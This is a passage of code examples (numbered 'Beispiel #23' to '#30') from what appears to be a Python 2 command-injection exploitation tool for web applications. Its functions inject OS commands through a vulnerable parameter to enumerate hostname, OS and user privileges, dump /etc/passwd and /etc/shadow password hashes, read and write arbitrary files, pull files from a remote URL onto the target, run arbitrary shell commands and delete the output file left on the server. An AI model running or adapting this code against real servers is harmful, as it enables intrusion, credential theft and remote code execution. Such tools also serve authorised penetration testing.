      dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
    else:
      dest_to_write = menu.options.file_dest
    cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
    shell = fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    cmd = "echo $(ls " + dest_to_write + ")"
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
    shell = fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write(colors.BOLD + "\n(!) The " + colors.UNDERL + shell + colors.RESET + colors.BOLD +" file was created successfully!\n" + colors.RESET)
      sys.stdout.flush()
    else:
     sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_write + "' file.\n" + colors.RESET)
     sys.stdout.flush()
     
# eof
Beispiel #23
0
def do_check(separator, payload, TAG, delay, prefix, suffix,
             http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
             alter_shell):

    # Hostname enumeration
    if menu.options.hostname:
        cmd = settings.HOSTNAME
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE,
                                         alter_shell)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            if not menu.options.verbose:
                print ""
            sys.stdout.write(Style.BRIGHT + "(!) The hostname is " +
                             Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
            sys.stdout.flush()

    # "Retrieve certain system information (operating system, hardware platform)
    if menu.options.sys_info:
        cmd = settings.RECOGNISE_OS
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE,
                                         alter_shell)
        target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if target_os:
            if menu.options.verbose:
                print ""
            target_os = "".join(str(p) for p in target_os)
            if target_os == "Linux":
                cmd = settings.RECOGNISE_HP
                response = fb_injector.injection(separator, payload, TAG, cmd,
                                                 prefix, suffix,
                                                 http_request_method, url,
                                                 vuln_parameter,
                                                 OUTPUT_TEXTFILE, alter_shell)
                target_arch = fb_injector.injection_results(
                    url, OUTPUT_TEXTFILE, delay)
                if target_arch:
                    if menu.options.verbose:
                        print ""
                    target_arch = "".join(str(p) for p in target_arch)
                    sys.stdout.write(Style.BRIGHT +
                                     "(!) The target operating system is " +
                                     Style.UNDERLINE + target_os +
                                     Style.RESET_ALL)
                    sys.stdout.write(Style.BRIGHT +
                                     " and the hardware platform is " +
                                     Style.UNDERLINE + target_arch +
                                     Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
            else:
                if menu.options.verbose:
                    print ""
                sys.stdout.write(Style.BRIGHT +
                                 "(!) The target operating system is " +
                                 Style.UNDERLINE + target_os +
                                 Style.RESET_ALL + ".\n")
                sys.stdout.flush()

    # The current user enumeration
    if menu.options.current_user:
        cmd = settings.CURRENT_USER
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE,
                                         alter_shell)
        cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if cu_account:
            cu_account = "".join(str(p) for p in cu_account)
            # Check if the user have super privileges.
            if menu.options.is_root:
                cmd = settings.ISROOT
                response = fb_injector.injection(separator, payload, TAG, cmd,
                                                 prefix, suffix,
                                                 http_request_method, url,
                                                 vuln_parameter,
                                                 OUTPUT_TEXTFILE, alter_shell)
                shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE,
                                                      delay)
                if shell:
                    shell = "".join(str(p) for p in shell)
                    if menu.options.verbose:
                        print ""
                    sys.stdout.write(Style.BRIGHT +
                                     "(!) The current user is " +
                                     Style.UNDERLINE + cu_account +
                                     Style.RESET_ALL)
                    if shell != "0":
                        sys.stdout.write(Style.BRIGHT + " and it is " +
                                         Style.UNDERLINE + "not" +
                                         Style.RESET_ALL + Style.BRIGHT +
                                         " privilleged" + Style.RESET_ALL +
                                         ".\n")
                        sys.stdout.flush()
                    else:
                        sys.stdout.write(Style.BRIGHT + " and it is " +
                                         Style.UNDERLINE + "" +
                                         Style.RESET_ALL + Style.BRIGHT +
                                         " privilleged" + Style.RESET_ALL +
                                         ".\n")
                        sys.stdout.flush()
            else:
                if menu.options.verbose:
                    print ""
                sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                                 Style.UNDERLINE + cu_account +
                                 Style.RESET_ALL + ".\n")
                sys.stdout.flush()

    # System users enumeration
    if menu.options.users:
        cmd = settings.SYS_USERS
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE,
                                         alter_shell)
        sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if sys_users:
            sys_users = "".join(str(p) for p in sys_users)
            sys_users = sys_users.replace("(@)", "\n")
            sys_users = sys_users.split()
            if len(sys_users) != 0:
                if menu.options.verbose:
                    print ""
                sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE +
                                 "' to enumerate users entries... ")
                sys.stdout.flush()
                sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                                 str(len(sys_users)) + " entries in '" +
                                 settings.PASSWD_FILE + "'.\n" +
                                 Style.RESET_ALL)
                sys.stdout.flush()
                count = 0
                for line in sys_users:
                    count = count + 1
                    fields = line.split(":")
                    # System users privileges enumeration
                    if menu.options.privileges:
                        if int(fields[1]) == 0:
                            is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
                        elif int(fields[1]) > 0 and int(fields[1]) < 99:
                            is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
                        elif int(fields[1]) >= 99 and int(fields[1]) < 65534:
                            if int(fields[1]) == 99 or int(
                                    fields[1]) == 60001 or int(
                                        fields[1]) == 65534:
                                is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
                            elif int(fields[1]) == 60002:
                                is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
                            else:
                                is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
                        else:
                            is_privilleged = ""
                    else:
                        is_privilleged = ""
                    print "  (" + str(
                        count
                    ) + ") '" + Style.BRIGHT + Style.UNDERLINE + fields[
                        0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[
                            1] + "). Home directory is in '" + Style.BRIGHT + fields[
                                2] + Style.RESET_ALL + "'."
            else:
                print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL

    # System password enumeration
    if menu.options.passwords:
        cmd = settings.SYS_PASSES
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE,
                                         alter_shell)
        sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if sys_passes:
            sys_passes = "".join(str(p) for p in sys_passes)
            sys_passes = sys_passes.replace("(@)", "\n")
            sys_passes = sys_passes.split()
            if len(sys_passes) != 0:
                sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE +
                                 "' to enumerate users password hashes... ")
                sys.stdout.flush()
                sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                 Style.RESET_ALL + " ]")
                sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                                 str(len(sys_passes)) + " entries in '" +
                                 settings.SHADOW_FILE + "'.\n" +
                                 Style.RESET_ALL)
                sys.stdout.flush()
                count = 0
                for line in sys_passes:
                    count = count + 1
                    fields = line.split(":")
                    if fields[1] != "*" and fields[1] != "!!" and fields[
                            1] != "":
                        print "  (" + str(count) + ") " + Style.BRIGHT + fields[
                            0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
                                1] + Style.RESET_ALL
            else:
                print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL

    # Single os-shell execution
    if menu.options.os_cmd:
        cmd = menu.options.os_cmd
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE,
                                         alter_shell)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            print "\n\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
            sys.exit(0)


# eof
Beispiel #24
0
def system_users(separator, payload, TAG, delay, prefix, suffix,
                 http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
                 alter_shell, filename):
    cmd = settings.SYS_USERS
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
    sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if sys_users:
        sys_users = "".join(str(p) for p in sys_users)
        sys_users = sys_users.replace("(@)", "\n")
        sys_users = sys_users.split()
        if len(sys_users) != 0:
            if menu.options.verbose:
                print ""
            sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE +
                             "' to enumerate users entries... ")
            sys.stdout.flush()
            sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                             str(len(sys_users)) + " entries in '" +
                             settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
            sys.stdout.flush()
            output_file = open(filename, "a")
            output_file.write("    (!) Identified " + str(len(sys_users)) +
                              " entries in '" + settings.PASSWD_FILE + "'.\n")
            output_file.close()
            count = 0
            for line in sys_users:
                count = count + 1
                fields = line.split(":")
                # System users privileges enumeration
                if menu.options.privileges:
                    if int(fields[1]) == 0:
                        is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
                        is_privilleged_nh = " is root user "
                    elif int(fields[1]) > 0 and int(fields[1]) < 99:
                        is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
                        is_privilleged_nh = " is system user "
                    elif int(fields[1]) >= 99 and int(fields[1]) < 65534:
                        if int(fields[1]) == 99 or int(
                                fields[1]) == 60001 or int(fields[1]) == 65534:
                            is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
                            is_privilleged_nh = " is anonymous user "
                        elif int(fields[1]) == 60002:
                            is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
                            is_privilleged_nh = " is non-trusted user "
                        else:
                            is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
                            is_privilleged_nh = " is regular user "
                    else:
                        is_privilleged = ""
                        is_privilleged_nh = ""
                else:
                    is_privilleged = ""
                    is_privilleged_nh = ""
                print "  (" + str(
                    count
                ) + ") '" + Style.BRIGHT + Style.UNDERLINE + fields[
                    0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[
                        1] + "). Home directory is in '" + Style.BRIGHT + fields[
                            2] + Style.RESET_ALL + "'."
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write("      (" + str(count) + ") '" + fields[0] +
                                  "'" + is_privilleged_nh + "(uid=" +
                                  fields[1] + "). Home directory is in '" +
                                  fields[2] + "'.\n")
                output_file.close()
        else:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]")
            sys.stdout.flush()
            print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
Beispiel #25
0
def do_check(separator,payload,TAG,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,delay):

  # Hostname enumeration
  if menu.options.hostname:
    cmd = settings.HOSTNAME
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
    shell =fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell)
      if not menu.options.verbose:
	print ""
      sys.stdout.write(colors.BOLD + "(!) The hostname is " + colors.UNDERL + shell + colors.RESET + ".")
      sys.stdout.flush()
      
  # "Retrieve certain system information (operating system, hardware platform)
  if menu.options.sys_info:
    cmd = settings.RECOGNISE_OS	    
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
    target_os =fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    if target_os:
      target_os = "".join(str(p) for p in target_os)
      if target_os == "Linux":
	cmd = settings.RECOGNISE_HP
	response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
	target_arch =fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
	if target_arch:
	  print ""
	  target_arch = "".join(str(p) for p in target_arch)
	  sys.stdout.write(colors.BOLD + "(!) The target operating system is " + colors.UNDERL + target_os + colors.RESET)
	  sys.stdout.write(colors.BOLD + " and the hardware platform is " + colors.UNDERL + target_arch + colors.RESET + ".")
	  sys.stdout.flush()
      else:
	sys.stdout.write(colors.BOLD + "(!) The target operating system is " + colors.UNDERL + target_os + colors.RESET + ".")
	sys.stdout.flush()

  # The current user enumeration
  if menu.options.current_user:
    cmd = settings.CURRENT_USER
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
    cu_account =fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    if cu_account:
      cu_account = "".join(str(p) for p in cu_account)
      # Check if the user have super privilleges.
      if menu.options.is_root:
	cmd = settings.ISROOT
	response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
	shell =fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
	if shell:
	  shell = "".join(str(p) for p in shell)
	  sys.stdout.write(colors.BOLD + "\n(!) The current user is " + colors.UNDERL + cu_account + colors.RESET)
	  if shell != "0":
	      sys.stdout.write(colors.BOLD + " and it is " + colors.UNDERL + "not" + colors.RESET + colors.BOLD + " privilleged" + colors.RESET + ".")
	      sys.stdout.flush()
	  else:
	    sys.stdout.write(colors.BOLD + " and it is " + colors.UNDERL + "" + colors.RESET + colors.BOLD + " privilleged" + colors.RESET + ".")
	    sys.stdout.flush()
      else:
	sys.stdout.write(colors.BOLD + "\n(!) The current user is " + colors.UNDERL + cu_account + colors.RESET + ".")
	sys.stdout.flush()
	
  print ""
  # Single os-shell execution
  if menu.options.os_shell:
    cmd =  menu.options.os_shell
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
    shell = fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell)
      print "\n" + colors.GREEN + colors.BOLD + shell + colors.RESET
      sys.exit(0)

# eof
Beispiel #26
0
def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  settings.SRV_ROOT_DIR = ""
  cmd = "rm " + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
Beispiel #27
0
def current_user(separator, payload, TAG, delay, prefix, suffix,
                 http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
                 alter_shell, filename):
    cmd = settings.CURRENT_USER
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
    cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if cu_account:
        cu_account = "".join(str(p) for p in cu_account)
        # Check if the user have super privileges.
        if menu.options.is_root:
            cmd = settings.ISROOT
            response = fb_injector.injection(separator, payload, TAG, cmd,
                                             prefix, suffix,
                                             http_request_method, url,
                                             vuln_parameter, OUTPUT_TEXTFILE,
                                             alter_shell, filename)
            shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
            if shell:
                shell = "".join(str(p) for p in shell)
                if menu.options.verbose:
                    print ""
                sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                                 Style.UNDERLINE + cu_account +
                                 Style.RESET_ALL)
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write("    (!) The current user is " + cu_account)
                output_file.close()
                if shell != "0":
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.UNDERLINE + "not" +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     " privilleged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is not privilleged.\n")
                    output_file.close()
                else:
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.UNDERLINE + "" + Style.RESET_ALL +
                                     Style.BRIGHT + " privilleged" +
                                     Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is privilleged.\n")
                    output_file.close()
        else:
            if menu.options.verbose:
                print ""
            sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                             Style.UNDERLINE + cu_account + Style.RESET_ALL +
                             ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) The current user is " + cu_account +
                              "\n")
            output_file.close()
Beispiel #28
0
def do_check(separator, payload, TAG, prefix, suffix, http_request_method, url,
             vuln_parameter, OUTPUT_TEXTFILE, delay):

    # Hostname enumeration
    if menu.options.hostname:
        cmd = settings.HOSTNAME
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            if not menu.options.verbose:
                print ""
            sys.stdout.write(colors.BOLD + "(!) The hostname is " +
                             colors.UNDERL + shell + colors.RESET + ".")
            sys.stdout.flush()

    # "Retrieve certain system information (operating system, hardware platform)
    if menu.options.sys_info:
        cmd = settings.RECOGNISE_OS
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE)
        target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if target_os:
            target_os = "".join(str(p) for p in target_os)
            if target_os == "Linux":
                cmd = settings.RECOGNISE_HP
                response = fb_injector.injection(separator, payload, TAG, cmd,
                                                 prefix, suffix,
                                                 http_request_method, url,
                                                 vuln_parameter,
                                                 OUTPUT_TEXTFILE)
                target_arch = fb_injector.injection_results(
                    url, OUTPUT_TEXTFILE, delay)
                if target_arch:
                    print ""
                    target_arch = "".join(str(p) for p in target_arch)
                    sys.stdout.write(colors.BOLD +
                                     "(!) The target operating system is " +
                                     colors.UNDERL + target_os + colors.RESET)
                    sys.stdout.write(colors.BOLD +
                                     " and the hardware platform is " +
                                     colors.UNDERL + target_arch +
                                     colors.RESET + ".")
                    sys.stdout.flush()
            else:
                sys.stdout.write(colors.BOLD +
                                 "(!) The target operating system is " +
                                 colors.UNDERL + target_os + colors.RESET +
                                 ".")
                sys.stdout.flush()

    # The current user enumeration
    if menu.options.current_user:
        cmd = settings.CURRENT_USER
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE)
        cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if cu_account:
            cu_account = "".join(str(p) for p in cu_account)
            # Check if the user have super privilleges.
            if menu.options.is_root:
                cmd = settings.ISROOT
                response = fb_injector.injection(separator, payload, TAG, cmd,
                                                 prefix, suffix,
                                                 http_request_method, url,
                                                 vuln_parameter,
                                                 OUTPUT_TEXTFILE)
                shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE,
                                                      delay)
                if shell:
                    shell = "".join(str(p) for p in shell)
                    sys.stdout.write(colors.BOLD +
                                     "\n(!) The current user is " +
                                     colors.UNDERL + cu_account + colors.RESET)
                    if shell != "0":
                        sys.stdout.write(colors.BOLD + " and it is " +
                                         colors.UNDERL + "not" + colors.RESET +
                                         colors.BOLD + " privilleged" +
                                         colors.RESET + ".")
                        sys.stdout.flush()
                    else:
                        sys.stdout.write(colors.BOLD + " and it is " +
                                         colors.UNDERL + "" + colors.RESET +
                                         colors.BOLD + " privilleged" +
                                         colors.RESET + ".")
                        sys.stdout.flush()
            else:
                sys.stdout.write(colors.BOLD + "\n(!) The current user is " +
                                 colors.UNDERL + cu_account + colors.RESET +
                                 ".")
                sys.stdout.flush()

    print ""
    # Single os-shell execution
    if menu.options.os_shell:
        cmd = menu.options.os_shell
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            print "\n" + colors.GREEN + colors.BOLD + shell + colors.RESET
            sys.exit(0)


# eof
Beispiel #29
0
def do_check(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):

  #  Read file
  if menu.options.file_read:
    file_to_read = menu.options.file_read
    # Execute command
    cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) Contents of file " + Style.UNDERLINE + file_to_read + Style.RESET_ALL + " : ")
      sys.stdout.flush()
      print shell
    else:
     sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + Style.RESET_ALL)
     sys.stdout.flush()
     
     
  #  Write file
  if menu.options.file_write:
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
      sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL)
      sys.stdout.flush()
      sys.exit(0)
      
    if os.path.isfile(file_to_write):
      with open(file_to_write, 'r') as content_file:
        content = [line.replace("\n", " ") for line in content_file]
      content = "".join(str(p) for p in content).replace("'", "\"")
    else:
      sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
      sys.stdout.flush()
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
    else:
      dest_to_write = menu.options.file_dest
    cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    cmd = "echo $(ls " + dest_to_write + ")"
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
      sys.stdout.flush()
    else:
     sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_write + "' file.\n" + Style.RESET_ALL)
     sys.stdout.flush()
     
     
  #  Upload file
  if menu.options.file_upload:
    file_to_upload = menu.options.file_upload
    
    # check if remote file exists.
    try:
      urllib2.urlopen(file_to_upload)
    except urllib2.HTTPError, err:
      sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that the '"+ file_to_upload + "' file, does not exists. ("+str(err)+")" + Style.RESET_ALL + "\n")
      sys.stdout.flush()
      sys.exit(0)
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
    else:
      dest_to_upload = menu.options.file_dest
      
    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload 
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    cmd = "echo $(ls " + dest_to_upload + ")"
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was uploaded successfully!\n" + Style.RESET_ALL)
      sys.stdout.flush()
    else:
     sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_upload + "' file." + Style.RESET_ALL)
     sys.stdout.flush()

# eof
Beispiel #30
0
def file_write(separator, maxlen, TAG, prefix, suffix, delay,
               http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
               alter_shell, filename):
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
        sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that the '" +
                         file_to_write + "' file, does not exists." +
                         Style.RESET_ALL + "\n")
        sys.stdout.flush()
        sys.exit(0)

    if os.path.isfile(file_to_write):
        with open(file_to_write, 'r') as content_file:
            content = [line.replace("\n", " ") for line in content_file]
        content = "".join(str(p) for p in content).replace("'", "\"")
    else:
        sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '" +
                         file_to_write + "' is not a file." + Style.RESET_ALL)
        sys.stdout.flush()

    if not settings.TMP_PATH in menu.options.file_dest:
        file_name = os.path.split(menu.options.file_dest)[1]
        dest_to_write = settings.TMP_PATH + file_name
    else:
        dest_to_write = menu.options.file_dest

    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "":
        dest_to_write = os.path.split(
            menu.options.file_dest)[0] + "/" + os.path.split(
                menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
        dest_to_write = "/" + os.path.split(
            menu.options.file_dest)[1] + "/" + os.path.split(
                menu.options.file_write)[1]
    else:
        dest_to_write = menu.options.file_dest
    OUTPUT_TEXTFILE = dest_to_write

    # Execute command
    cmd = settings.FILE_WRITE + " '" + content + "' "
    check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell, filename)
    shell = output
    try:
        file_contents = "".join(str(p) for p in shell)
    except TypeError:
        pass

    print ""
    # Check if file exists!
    cmd = "echo $(ls " + dest_to_write + ")"
    check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell, filename)
    shell = output
    try:
        shell = "".join(str(p) for p in shell)
    except TypeError:
        pass
    if shell:
        if menu.options.verbose:
            print ""
        sys.stdout.write(Style.BRIGHT + "\n\n  (!) The " + Style.UNDERLINE +
                         shell + Style.RESET_ALL + Style.BRIGHT +
                         " file was created successfully!" + Style.RESET_ALL +
                         "\n\n")
        sys.stdout.flush()
    else:
        sys.stdout.write(
            Fore.YELLOW +
            "(^) Warning: It seems that you don't have permissions to write the '"
            + dest_to_write + "' file." + Style.RESET_ALL + "\n\n")
        sys.stdout.flush()

    # Do the dec-to-text transformation
    settings.TFB_DECIMAL = True
    cmd = settings.FILE_WRITE + " '" + file_contents + "'" + " > " + "'" + dest_to_write + "'"
